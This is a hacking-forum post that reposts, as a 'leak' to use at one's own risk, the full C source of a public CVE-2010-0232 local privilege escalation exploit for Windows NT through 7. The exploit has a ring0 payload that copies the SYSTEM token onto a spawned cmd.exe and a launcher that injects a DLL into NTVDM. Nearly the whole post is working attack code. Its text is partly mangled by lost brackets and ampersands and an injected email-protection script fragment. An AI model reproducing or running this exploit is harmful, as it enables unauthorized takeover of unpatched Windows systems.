Exploits

[CVE-2010-0232] NtVdmControl()->KiTrap0d local ring0 exploit

Submitted by Sozin, , Thread ID: 5878

Thread Closed
Sozin
Nan Ihier Gelair Mordor
Divine
Level:
0
Reputation:
91
Posts:
2.33K
Likes:
375
Credits:
11K
08-07-2015, 02:58 AM
#1
You are free to have this leak but bear in mind, it's not mine, so don't bother me if the links/program/source/whatever stop working. I take no responsibility of this, use at your own risk.
~Sozin





Quote:The kernel in Microsoft Windows NT 3.1 through Windows 7, including Windows 2000 SP4, Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista Gold, SP1, and SP2, and Windows Server 2008 Gold and SP2, when access to 16-bit applications is enabled on a 32-bit x86 platform, does not properly validate certain BIOS calls, which allows local users to gain privileges by crafting a VDM_TIB data structure in the Thread Environment Block (TEB), and then calling the NtVdmControl function to start the Windows Virtual DOS Machine (aka NTVDM) subsystem, leading to improperly handled exceptions involving the #GP trap handler (nt!KiTrap0D), aka "Windows Kernel Exception Handler Vulnerability."
Quote:Affected systems: Windows NT/2K/XP/2K3/VISTA/2K8/7
Spoiler
//
// --------------------------------------------------
// Windows NT/2K/XP/2K3/VISTA/2K8/7 NtVdmControl()-KiTrap0d local ring0 exploit
// -------------------------------------------- [emailprotected]script cf-hash='f9e31' type="text/javascript"
/* *//script ---
//
// Tavis Ormandy, June 2009.
//
// Tested on:
// $ cmd /c ver
// Microsoft Windows [Version 5.2.3790]
//
// This file contains the exploit payload and VDM Subsystem control routines.
//
#ifndef WIN32_NO_STATUS
# define WIN32_NO_STATUS // I prefer the definitions from ntstatus.h
#endif
#include windows.h
#include assert.h
#include stdio.h
#include winerror.h
#include winternl.h
#include stddef.h
#ifdef WIN32_NO_STATUS
# undef WIN32_NO_STATUS
#endif
#include ntstatus.h
// Process to escalate to SYSTEM
static DWORD TargetPid;
// Pointer to fake kernel stack.
static PDWORD KernelStackPointer;
#define KernelStackSize 1024
// Enforce byte alignment by default
#pragma pack(1)
// Kernel module handle
static HMODULE KernelHandle;
// Eflags macros
#define EFLAGS_CF_MASK 0x00000001 // carry flag
#define EFLAGS_PF_MASK 0x00000004 // parity flag
#define EFLAGS_AF_MASK 0x00000010 // auxiliary carry flag
#define EFLAGS_ZF_MASK 0x00000040 // zero flag
#define EFLAGS_SF_MASK 0x00000080 // sign flag
#define EFLAGS_TF_MASK 0x00000100 // trap flag
#define EFLAGS_IF_MASK 0x00000200 // interrupt flag
#define EFLAGS_DF_MASK 0x00000400 // direction flag
#define EFLAGS_OF_MASK 0x00000800 // overflow flag
#define EFLAGS_IOPL_MASK 0x00003000 // I/O privilege level
#define EFLAGS_NT_MASK 0x00004000 // nested task
#define EFLAGS_RF_MASK 0x00010000 // resume flag
#define EFLAGS_VM_MASK 0x00020000 // virtual 8086 mode
#define EFLAGS_AC_MASK 0x00040000 // alignment check
#define EFLAGS_VIF_MASK 0x00080000 // virtual interrupt flag
#define EFLAGS_VIP_MASK 0x00100000 // virtual interrupt pending
#define EFLAGS_ID_MASK 0x00200000 // identification flag
#ifndef PAGE_SIZE
# define PAGE_SIZE 0x1000
#endif
// http://svn.reactos.org/reactos/trunk/rea.../ketypes.h
enum { VdmStartExecution = 0, VdmInitialize = 3 };
VOID FirstStage();
BOOL InitializeVdmSubsystem();
PVOID KernelGetProcByName(PSTR);
BOOL FindAndReplaceMember(PDWORD, DWORD, DWORD, DWORD, BOOL);
// This routine is where I land after successfully triggering the vulnerability.
VOID FirstStage()
{
FARPROC DbgPrint;
FARPROC PsGetCurrentThread;
FARPROC PsGetCurrentThreadStackBase, PsGetCurrentThreadStackLimit;
FARPROC PsLookupProcessByProcessId;
FARPROC PsReferencePrimaryToken;
FARPROC ZwTerminateProcess;
PVOID CurrentThread;
PVOID TargetProcess, *PsInitialSystemProcess;
DWORD StackBase, StackLimit;
DWORD i;
// Keep interrupts off until I've repaired my KTHREAD.
__asm cli
// Resolve some routines I need from the kernel export directory
DbgPrint = KernelGetProcByName("DbgPrint");
PsGetCurrentThread = KernelGetProcByName("PsGetCurrentThread");
PsGetCurrentThreadStackBase = KernelGetProcByName("PsGetCurrentThreadStackBase");
PsGetCurrentThreadStackLimit = KernelGetProcByName("PsGetCurrentThreadStackLimit");
PsInitialSystemProcess = KernelGetProcByName("PsInitialSystemProcess");
PsLookupProcessByProcessId = KernelGetProcByName("PsLookupProcessByProcessId");
PsReferencePrimaryToken = KernelGetProcByName("PsReferencePrimaryToken");
ZwTerminateProcess = KernelGetProcByName("ZwTerminateProcess");
CurrentThread = (PVOID) PsGetCurrentThread();
StackLimit = (DWORD) PsGetCurrentThreadStackLimit();
StackBase = (DWORD) PsGetCurrentThreadStackBase();
DbgPrint("FirstStage() Loaded, CurrentThread @%p Stack %p - %p",
CurrentThread,
StackBase,
StackLimit);
// First I need to repair my CurrentThread, find all references to my fake kernel
// stack and repair them. Note that by "repair" I mean randomly point them
// somewhere inside the real stack.
DbgPrint("Repairing references to %p-%p in CurrentThread@%p...",
KernelStackPointer[0],
KernelStackPointer[KernelStackSize - 1],
CurrentThread);
// For every stack location, try to find all references to it in my
// CurrentThread.
for (i = 0; i KernelStackSize; i++) {
// The size of this structure varies between kernels, whats the maximum
// size likely to be?
CONST DWORD MaxExpectedEthreadSize = 0x200;

// Find and repair all references to this location
while (FindAndReplaceMember((PDWORD) CurrentThread,
(DWORD) KernelStackPointer[i],
(DWORD) StackBase - ((StackBase - StackLimit) / 2),
MaxExpectedEthreadSize,
FALSE))
;
}
// Find the EPROCESS structure for the process I want to escalate
if (PsLookupProcessByProcessId(TargetPid, TargetProcess) == STATUS_SUCCESS) {
PACCESS_TOKEN SystemToken;
PACCESS_TOKEN TargetToken;
// What's the maximum size the EPROCESS structure is ever likely to be?
CONST DWORD MaxExpectedEprocessSize = 0x200;
DbgPrint("PsLookupProcessByProcessId(%u) = %p", TargetPid, TargetProcess);
DbgPrint("PsInitialSystemProcess @%p", *PsInitialSystemProcess);
// Find the Token object for my target process, and the SYSTEM process.
TargetToken = (PACCESS_TOKEN) PsReferencePrimaryToken(TargetProcess);
SystemToken = (PACCESS_TOKEN) PsReferencePrimaryToken(*PsInitialSystemProcess);
DbgPrint("PsReferencePrimaryToken(%p) = %p", TargetProcess, TargetToken);
DbgPrint("PsReferencePrimaryToken(%p) = %p", *PsInitialSystemProcess, SystemToken);
// Find the token in the target process, and replace with the system token.
FindAndReplaceMember((PDWORD) TargetProcess,
(DWORD) TargetToken,
(DWORD) SystemToken,
MaxExpectedEprocessSize,
TRUE);

// Success, try to terminate the current process.
ZwTerminateProcess(GetCurrentProcess(), 'w00t');
} else {
// Maybe the user closed the window?
DbgPrint("PsLookupProcessByProcessId(%u) Failed", TargetPid);
// Report this failure
ZwTerminateProcess(GetCurrentProcess(), 'LPID');
}
// Oops, Something went wrong, restore interrupts and spin here.
__asm sti
for (;Wink __asm pause
}
// Search the specified data structure for a member with CurrentValue.
BOOL FindAndReplaceMember(PDWORD Structure,
DWORD CurrentValue,
DWORD NewValue,
DWORD MaxSize,
BOOL ObjectRefs)
{
DWORD i, Mask;
// Microsoft QWORD aligns object pointers, then uses the lower three
// bits for quick reference counting (nice trick).
Mask = ObjectRefs ? ~7 : ~0;
// Mask out the reference count.
CurrentValue = Mask;
// Scan the structure for any occurrence of CurrentValue.
for (i = 0; i MaxSize; i++) {
if ((Structure[i] Mask) == CurrentValue) {
// And finally, replace it with NewValue.
Structure[i] = NewValue;
return TRUE;
}
}
// Member not found.
return FALSE;
}
// Find an exported kernel symbol by name.
PVOID KernelGetProcByName(PSTR SymbolName)
{
PUCHAR ImageBase;
PULONG NameTable;
PULONG FunctionTable;
PUSHORT OrdinalTable;
PIMAGE_EXPORT_DIRECTORY ExportDirectory;
PIMAGE_DOS_HEADER DosHeader;
PIMAGE_NT_HEADERS PeHeader;
DWORD i;
ImageBase = (PUCHAR) KernelHandle;
DosHeader = (PIMAGE_DOS_HEADER) ImageBase;
PeHeader = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader-e_lfanew);
ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(ImageBase
+ PeHeader-OptionalHeader
. DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
. VirtualAddress);
// Find required tablesa from the ExportDirectory.
NameTable = (PULONG)(ImageBase + ExportDirectory-AddressOfNames);
FunctionTable = (PULONG)(ImageBase + ExportDirectory-AddressOfFunctions);
OrdinalTable = (PUSHORT)(ImageBase + ExportDirectory-AddressOfNameOrdinals);
// Scan each entry for a matching name.
for (i = 0; i ExportDirectory-NumberOfNames; i++) {
PCHAR Symbol = ImageBase + NameTable[i];
if (strcmp(Symbol, SymbolName) == 0) {
// Symbol found, return the appropriate entry from FunctionTable.
return (PVOID)(ImageBase + FunctionTable[OrdinalTable[i]]);
}
}
// Symbol not found, this is likely fatal :-(
return NULL;
}
// Exploit entrypoint.
BOOL APIENTRY DllMain(HMODULE Module, DWORD Reason, LPVOID Reserved)
{
CONST DWORD MinimumExpectedVdmTibSize = 0x400;
CONST DWORD MaximumExpectedVdmTibSize = 0x800;
FARPROC NtVdmControl;
DWORD KernelStack[KernelStackSize];
DWORD Ki386BiosCallReturnAddress;
CHAR Pid[32], Off[32], Krn[32];
struct {
ULONG Size;
PVOID Padding0;
PVOID Padding1;
CONTEXT Padding2;
CONTEXT VdmContext;
DWORD Padding3[1024];
} VdmTib = {0};
// Initialise these structures with recognisable constants to ease debugging.
FillMemory(VdmTib, sizeof VdmTib, 'V');
FillMemory(KernelStack, sizeof KernelStack, 'K');
// Parent passes parameters via environment variables.
//
// - VDM_TARGET_PID
// Pid of the process to transplant a SYSTEM token onto.
// - VDM_TARGET_OFF
// Offset from ntoskrnl of Ki386BiosCallReturnAddress.
// - VDM_TARGET_KRN
// Ntoskrnl base address.
GetEnvironmentVariable("VDM_TARGET_PID", Pid, sizeof Pid);
GetEnvironmentVariable("VDM_TARGET_KRN", Krn, sizeof Krn);
GetEnvironmentVariable("VDM_TARGET_OFF", Off, sizeof Off);
NtVdmControl = GetProcAddress(GetModuleHandle("NTDLL"), "NtVdmControl");
TargetPid = strtoul(Pid, NULL, 0);
// Setup the fake kernel stack, and install a minimal VDM_TIB,
KernelStackPointer = KernelStack;
KernelStack[0] = (DWORD) KernelStack[8]; // Esp
KernelStack[1] = (DWORD) NtCurrentTeb(); // Teb
KernelStack[2] = (DWORD) NtCurrentTeb(); // Teb
KernelStack[7] = (DWORD) FirstStage; // RetAddr
KernelHandle = (HMODULE) strtoul(Krn, NULL, 0);
VdmTib.Size = MinimumExpectedVdmTibSize;
*NtCurrentTeb()-Reserved4 = VdmTib;
// Initialize the VDM Subsystem.
InitializeVdmSubsystem();
VdmTib.Size = MinimumExpectedVdmTibSize;
VdmTib.VdmContext.SegCs = 0x0B;
VdmTib.VdmContext.Esi = (DWORD) KernelStack;
VdmTib.VdmContext.Eip = strtoul(Krn, NULL, 0) + strtoul(Off, NULL, 0);
VdmTib.VdmContext.EFlags = EFLAGS_TF_MASK;
*NtCurrentTeb()-Reserved4 = VdmTib;
// Trigger the vulnerable code via NtVdmControl().
while (VdmTib.Size++ MaximumExpectedVdmTibSize)
NtVdmControl(VdmStartExecution, NULL);
// Unable to find correct VdmTib size.
ExitThread('VTIB');
}
// Setup a minimal execution environment to satisfy NtVdmControl().
BOOL InitializeVdmSubsystem()
{
FARPROC NtAllocateVirtualMemory;
FARPROC NtFreeVirtualMemory;
FARPROC NtVdmControl;
PBYTE BaseAddress;
ULONG RegionSize;
static DWORD TrapHandler[128];
static DWORD IcaUserData[128];
static struct {
PVOID TrapHandler;
PVOID IcaUserData;
} InitData;
NtAllocateVirtualMemory = GetProcAddress(GetModuleHandle("NTDLL"), "NtAllocateVirtualMemory");
NtFreeVirtualMemory = GetProcAddress(GetModuleHandle("NTDLL"), "NtFreeVirtualMemory");
NtVdmControl = GetProcAddress(GetModuleHandle("NTDLL"), "NtVdmControl");
BaseAddress = (PVOID) 0x00000001;
RegionSize = (ULONG) 0x00000000;
InitData.TrapHandler = TrapHandler;
InitData.IcaUserData = IcaUserData;
// Remove anything currently mapped at NULL
NtFreeVirtualMemory(GetCurrentProcess(), BaseAddress, RegionSize, MEM_RELEASE);
BaseAddress = (PVOID) 0x00000001;
RegionSize = (ULONG) 0x00100000;
// Allocate the 1MB virtual 8086 address space.
if (NtAllocateVirtualMemory(GetCurrentProcess(),
BaseAddress,
0,
RegionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE) != STATUS_SUCCESS) {
ExitThread('NTAV');
return FALSE;
}
// Finalise the initialisation.
if (NtVdmControl(VdmInitialize, InitData) != STATUS_SUCCESS) {
ExitThread('VDMC');
return FALSE;
}
return TRUE;
}
Spoiler
//
// --------------------------------------------------
// Windows NT/2K/XP/2K3/VISTA/2K8/7
// -------------------------------------------- [emailprotected]
/* */ ---
//
// Tavis Ormandy, June 2009.
//
// INTRODUCTION
//
// I'm not usually interested in Windows exploits (I'm a UNIX guy), but this
// bug was so unusual I felt it deserved some special attention :-)
//
// I believe every single release of Windows NT since version 3.1 (1993) up to
// and including Windows 7 (2009) contain this error.
//
// KNOWN BUGS
//
// * If KernelGetProcByName() ever fails, I'm probably in trouble.
// * I hardcode several paths instead of expanding %SYSTEMROOT%.
// * I probably need to VirtualLock() some stuff.
// * I suspect this is unreliable on mp kernels.
//
// INSTRUCTIONS
//
// C:\ nmake
// C:\ vdmallowed.exe
//
// WORKAROUND
//
// Disabling the MSDOS and WOWEXEC subsystems will prevent the exploit
// from functioning.
//
// http://support.microsoft.com/kb/220159
//
// GREETZ
//
// Julien, Lcamtuf, Spoonm, Neel, Skylined, Redpig, and others.
//
#ifndef WIN32_NO_STATUS
# define WIN32_NO_STATUS // I prefer the definitions from ntstatus.h
#endif
#include windows.h
#include assert.h
#include stdio.h
#include winerror.h
#include winternl.h
#include stddef.h
#include stdarg.h
#ifdef WIN32_NO_STATUS
# undef WIN32_NO_STATUS
#endif
#include ntstatus.h
#pragma comment(lib, "advapi32")
#define PAGE_SIZE 0x1000
enum { SystemModuleInformation = 11 };
typedef struct {
ULONG Unknown1;
ULONG Unknown2;
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT NameLength;
USHORT LoadCount;
USHORT PathLength;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;

typedef struct {
ULONG Count;
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

// These are generated using kd -kl -c 'db nt!Ki386BiosCallReturnAddress;q'
static CONST UCHAR CodeSignatures[][16] = {
{ "\x64\xA1\x1C\x00\x00\x00\x5A\x89\x50\x04\x8B\x88\x24\x01\x00\x00" }, // Windows NT4
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x70\x04\xB9\x84" }, // Windows 2000
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x70\x04\xB9\x84" }, // Windows XP
{ "\xA1\x1C\xF0\xDF\xFF\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00\x00" }, // Windows 2003
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00" }, // Windows Vista
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00" }, // Windows 2008
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00" }, // Windows 7
};
// Log levels.
typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;
BOOL PrepareProcessForSystemToken(PCHAR Application, PDWORD ProcessId);
BOOL SpawnNTVDMAndGetUsefulAccess(PCHAR Application, PHANDLE ProcessHandle);
BOOL InjectDLLIntoProcess(PCHAR DllPath, HANDLE ProcessHandle, PHANDLE RemoteThread);
BOOL LogMessage(LEVEL Level, PCHAR Format, ...);
BOOL ScanForCodeSignature(PDWORD KernelBase, PDWORD OffsetFromBase);
int main(int argc, char **argv)
{
HANDLE VdmHandle;
HANDLE RemoteThread;
DWORD ShellPid;
DWORD ThreadCode;
DWORD KernelBase;
CHAR Buf[32];
DWORD Offset;
LogMessage(L_INFO,
"\r"
"--------------------------------------------------\n"
"Windows NT/2K/XP/2K3/VISTA/2K8/7 NtVdmControl()-KiTrap0d local ring0 exploit\n"
"-------------------------------------------- [emailprotected]
/* */ ---\n"
"\n"
);
// Spawn the process to be elevated to SYSTEM.
LogMessage(L_INFO, "Spawning a shell to give SYSTEM token (do not close it)");
if (PrepareProcessForSystemToken("C:\\WINDOWS\\SYSTEM32\\CMD.EXE", ShellPid) != TRUE) {
LogMessage(L_ERROR, "PrepareProcessForSystemToken() returned failure");
goto finished;
}
// Scan kernel image for the required code sequence, and find the base address.
if (ScanForCodeSignature(KernelBase, Offset) == FALSE) {
LogMessage(L_ERROR, "ScanForCodeSignature() returned failure");
goto finished;
}
// Pass the parameters required by exploit thread to NTVDM.
SetEnvironmentVariable("VDM_TARGET_PID", (sprintf(Buf, "%#x", ShellPid), Buf));
SetEnvironmentVariable("VDM_TARGET_KRN", (sprintf(Buf, "%#x", KernelBase), Buf));
SetEnvironmentVariable("VDM_TARGET_OFF", (sprintf(Buf, "%#x", Offset), Buf));
// Invoke the NTVDM subsystem, by launching any MS-DOS executable.
LogMessage(L_INFO, "Starting the NTVDM subsystem by launching MS-DOS executable");
if (SpawnNTVDMAndGetUsefulAccess("C:\\WINDOWS\\SYSTEM32\\DEBUG.EXE", VdmHandle) == FALSE) {
LogMessage(L_ERROR, "SpawnNTVDMAndGetUsefulAccess() returned failure");
goto finished;
}
// Start the exploit thread in the NTVDM process.
LogMessage(L_DEBUG, "Injecting the exploit thread into NTVDM subsystem @%#x", VdmHandle);
if (InjectDLLIntoProcess("VDMEXPLOIT.DLL", VdmHandle, RemoteThread) == FALSE) {
LogMessage(L_ERROR, "InjectDLLIntoProcess() returned failure");
goto finished;
}
// Wait for the thread to complete
LogMessage(L_DEBUG, "WaitForSingleObject(%#x, INFINITE);", RemoteThread);
WaitForSingleObject(RemoteThread, INFINITE);
// I pass some information back via the exit code to indicate what happened.
GetExitCodeThread(RemoteThread, ThreadCode);
LogMessage(L_DEBUG, "GetExitCodeThread(%#x, %p); = %#x", RemoteThread, ThreadCode, ThreadCode);
switch (ThreadCode) {
case 'VTIB':
// A data structure supplied to the kernel called VDM_TIB has to have a `size` field that
// matches what the kernel expects.
// Try running `kd -kl -c 'uf nt!VdmpGetVdmTib;q'` and looking for the size comparison.
LogMessage(L_ERROR, "The exploit thread was unable to find the size of the VDM_TIB structure");
break;
case 'NTAV':
// NtAllocateVirtualMemory() can usually be used to map the NULL page, which NtVdmControl()
// expects to be present.
// The exploit thread reports it didn't work.
LogMessage(L_ERROR, "The exploit thread was unable to map the virtual 8086 address space");
break;
case 'VDMC':
// NtVdmControl() must be initialised before you can begin vm86 execution, but it failed.
// It's entirely undocumented, so you'll have to use kd to step through it and find out why
// it's failing.
LogMessage(L_ERROR, "The exploit thread reports NtVdmControl() failed");
break;
case 'LPID':
// This exploit will try to transplant the token from PsInitialSystemProcess on to an
// unprivileged process owned by you.
// PsLookupProcessByProcessId() failed when trying to find your process.
LogMessage(L_ERROR, "The exploit thread reports that PsLookupProcessByProcessId() failed");
break;
case FALSE:
// This probably means LoadLibrary() failed, perhaps the exploit dll could not be found?
// Verify the vdmexploit.dll file exists, is readable and is in a suitable location.
LogMessage(L_ERROR, "The exploit thread was unable to load the injected dll");
break;
case 'w00t':
// This means the exploit payload was executed at ring0 and succeeded.
LogMessage(L_INFO, "The exploit thread reports exploitation was successful");
LogMessage(L_INFO, "w00t! You can now use the shell opened earlier");
break;
default:
// Unknown error. Sorry, you're on your own.
LogMessage(L_ERROR, "The exploit thread returned an unexpected error, %#x", ThreadCode);
break;
}
TerminateProcess(VdmHandle, 0);
CloseHandle(VdmHandle);
CloseHandle(RemoteThread);
finished:
LogMessage(L_INFO, "Press any key to exit...");
getch();
return 0;
}
// Start a process to give SYSTEM token to.
static BOOL PrepareProcessForSystemToken(PCHAR App, PDWORD ProcessId)
{
PROCESS_INFORMATION pi = {0};
STARTUPINFO si = { sizeof si };
if (CreateProcess(App, App, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, si, pi) == FALSE) {
LogMessage(L_ERROR, "CreateProcess(\"%s\") returned failure, %#x", App, GetLastError());
return FALSE;
}
LogMessage(L_DEBUG, "CreateProcess(\"%s\") = %u", App, pi.dwProcessId);
*ProcessId = pi.dwProcessId;
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return TRUE;
}
// Grab a useful Handle to NTVDM.
static BOOL SpawnNTVDMAndGetUsefulAccess(PCHAR App, PHANDLE ProcessHandle)
{
PROCESS_INFORMATION pi = {0};
STARTUPINFO si = { sizeof si };
ULONG i;
// Start the child process, which should invoke NTVDM.
if (CreateProcess(App, App, NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, si, pi) == FALSE) {
LogMessage(L_ERROR, "CreateProcess(\"%s\") failed, %#x", App, GetLastError());
return FALSE;
}
LogMessage(L_DEBUG, "CreateProcess(\"%s\") = %u", App, pi.dwProcessId);
// Get more access
if ((*ProcessHandle = OpenProcess(PROCESS_CREATE_THREAD
| PROCESS_QUERY_INFORMATION
| PROCESS_VM_OPERATION
| PROCESS_VM_WRITE
| PROCESS_VM_READ
| PROCESS_TERMINATE,
FALSE,
pi.dwProcessId)) == NULL) {
LogMessage(L_ERROR, "OpenProcess(%u) failed, %#x", pi.dwProcessId, GetLastError());
TerminateProcess(pi.hProcess, 'SPWN');
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return FALSE;
}
LogMessage(L_DEBUG, "OpenProcess(%u) = %#x", pi.dwProcessId, *ProcessHandle);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return TRUE;
}
// Use the DLL Injection technique to access the NTVDM process.
// http://en.wikipedia.org/wiki/DLL_injection
static BOOL InjectDLLIntoProcess(PCHAR DllPath, HANDLE ProcessHandle, PHANDLE RemoteThread)
{
PVOID RemotePage;
LPTHREAD_START_ROUTINE StartRoutine;
assert(ProcessHandle != INVALID_HANDLE_VALUE);
assert(DllPath);
assert(RemoteThread);
// Allocate a page in the child process
if ((RemotePage = VirtualAllocEx(ProcessHandle, NULL, strlen(DllPath) + 1, MEM_COMMIT, PAGE_READWRITE)) == NULL) {
LogMessage(L_ERROR, "VirtualAllocEx() returned failure, %#x", GetLastError());
return FALSE;
}
// Write in the name of my DLL (note, memory is already zeroed)
if (WriteProcessMemory(ProcessHandle, RemotePage, DllPath, strlen(DllPath), NULL) == FALSE) {
LogMessage(L_ERROR, "WriteProcessMemory(%p) returned failure, %#x", RemotePage, GetLastError());
return FALSE;
}
LogMessage(L_DEBUG, "WriteProcessMemory(%#x, %#x, \"%s\", %u);",
ProcessHandle,
RemotePage,
DllPath,
strlen(DllPath));
// Execute it in child process, loading the specified library
*RemoteThread = CreateRemoteThread(ProcessHandle,
NULL,
0,
(LPTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle("KERNEL32.DLL"), "LoadLibraryA"),
RemotePage,
0,
NULL);
return *RemoteThread != NULL;
}
// Scan the appropriate kernel image for the correct offset
BOOL ScanForCodeSignature(PDWORD KernelBase, PDWORD OffsetFromBase)
{
FARPROC NtQuerySystemInformation;
HMODULE KernelHandle;
PIMAGE_DOS_HEADER DosHeader;
PIMAGE_NT_HEADERS PeHeader;
PIMAGE_OPTIONAL_HEADER OptHeader;
OSVERSIONINFO osvi = { sizeof osvi };
PBYTE ImageBase;
DWORD PhysicalAddressExtensions, DataSize;
ULONG i;
HKEY MmHandle;
SYSTEM_MODULE_INFORMATION ModuleInfo = {0};
// List of versions I have code signatures for.
enum {
MICROSOFT_WINDOWS_NT4 = 0,
MICROSOFT_WINDOWS_2000 = 1,
MICROSOFT_WINDOWS_XP = 2,
MICROSOFT_WINDOWS_2003 = 3,
MICROSOFT_WINDOWS_VISTA = 4,
MICROSOFT_WINDOWS_2008 = 5,
MICROSOFT_WINDOWS_7 = 6,
} Version = MICROSOFT_WINDOWS_7;
// NtQuerySystemInformation can be used to find kernel base address
NtQuerySystemInformation = GetProcAddress(GetModuleHandle("NTDLL"), "NtQuerySystemInformation");
// Determine kernel version so that the correct code signature is used
GetVersionEx(osvi);

LogMessage(L_DEBUG, "GetVersionEx() = %u.%u", osvi.dwMajorVersion, osvi.dwMinorVersion);
if (osvi.dwMajorVersion == 4 osvi.dwMinorVersion == 0)
Version = MICROSOFT_WINDOWS_NT4;
if (osvi.dwMajorVersion == 5 osvi.dwMinorVersion == 0)
Version = MICROSOFT_WINDOWS_2000;
if (osvi.dwMajorVersion == 5 osvi.dwMinorVersion == 1)
Version = MICROSOFT_WINDOWS_XP;
if (osvi.dwMajorVersion == 5 osvi.dwMinorVersion == 2)
Version = MICROSOFT_WINDOWS_2003;
if (osvi.dwMajorVersion == 6 osvi.dwMinorVersion == 0)
Version = MICROSOFT_WINDOWS_VISTA;
if (osvi.dwMajorVersion == 6 osvi.dwMinorVersion == 0)
Version = MICROSOFT_WINDOWS_2008;
if (osvi.dwMajorVersion == 6 osvi.dwMinorVersion == 1)
Version = MICROSOFT_WINDOWS_7;
// Learn the loaded kernel (e.g. NTKRNLPA vs NTOSKRNL), and it's base address
NtQuerySystemInformation(SystemModuleInformation, ModuleInfo, sizeof ModuleInfo, NULL);
LogMessage(L_DEBUG, "NtQuerySystemInformation() = %s@%p",
ModuleInfo.Module[0].ImageName,
ModuleInfo.Module[0].Base);
// Load the kernel image specified
if ((KernelHandle = LoadLibrary(strrchr(ModuleInfo.Module[0].ImageName, '\\') + 1)) == NULL) {
LogMessage(L_ERROR, "LoadLibrary() returned failure, %#x", GetLastError());
return FALSE;
}
// Parse image headers
*KernelBase = (DWORD) ModuleInfo.Module[0].Base;
ImageBase = (PBYTE) KernelHandle;
DosHeader = (PIMAGE_DOS_HEADER)(ImageBase);
PeHeader = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader-e_lfanew);
OptHeader = PeHeader-OptionalHeader;
LogMessage(L_DEBUG, "Searching for kernel %u.%u signature { %02hhx, %02hhx, ... } ...",
osvi.dwMajorVersion,
osvi.dwMinorVersion,
CodeSignatures[Version][0],
CodeSignatures[Version][1]);
// Scan for the appropriate signature
for (i = OptHeader-BaseOfCode; i OptHeader-SizeOfCode; i++) {
if (memcmp(ImageBase[i], CodeSignatures[Version], sizeof CodeSignatures[Version]) == 0) {
LogMessage(L_INFO, "Signature found %#x bytes from kernel base", i);
*OffsetFromBase = i;
FreeLibrary(KernelHandle);
return TRUE;
}
}
LogMessage(L_ERROR, "Code not found, the signatures need to be updated for your kernel");

FreeLibrary(KernelHandle);
return FALSE;
}
// A quick logging routine for debug messages.
BOOL LogMessage(LEVEL Level, PCHAR Format, ...)
{
CHAR Buffer[1024] = {0};
va_list Args;
va_start(Args, Format);
vsnprintf_s(Buffer, sizeof Buffer, _TRUNCATE, Format, Args);
va_end(Args);
switch (Level) {
case L_DEBUG: fprintf(stdout, "[?] %s\n", Buffer); break;
case L_INFO: fprintf(stdout, "[+] %s\n", Buffer); break;
case L_WARN: fprintf(stderr, "[*] %s\n", Buffer); break;
case L_ERROR: fprintf(stderr, "[!] %s\n\a", Buffer); break;
}
fflush(stdout);
fflush(stderr);

return TRUE;
}
Quote:The source and binaries are included in the Hidden Content area.

Content locked
This content has been locked. Please login or register in order to unlock it.
Do not let your difficulties fill you with anxiety, after all it is only in the darkest nights that stars shine more brightly. - Ali(a.s)

Developer( PHP, Python, C++, HTML+CSS, JS I am available for Hire. Message Me for details.


Users browsing this thread: 1 Guest(s)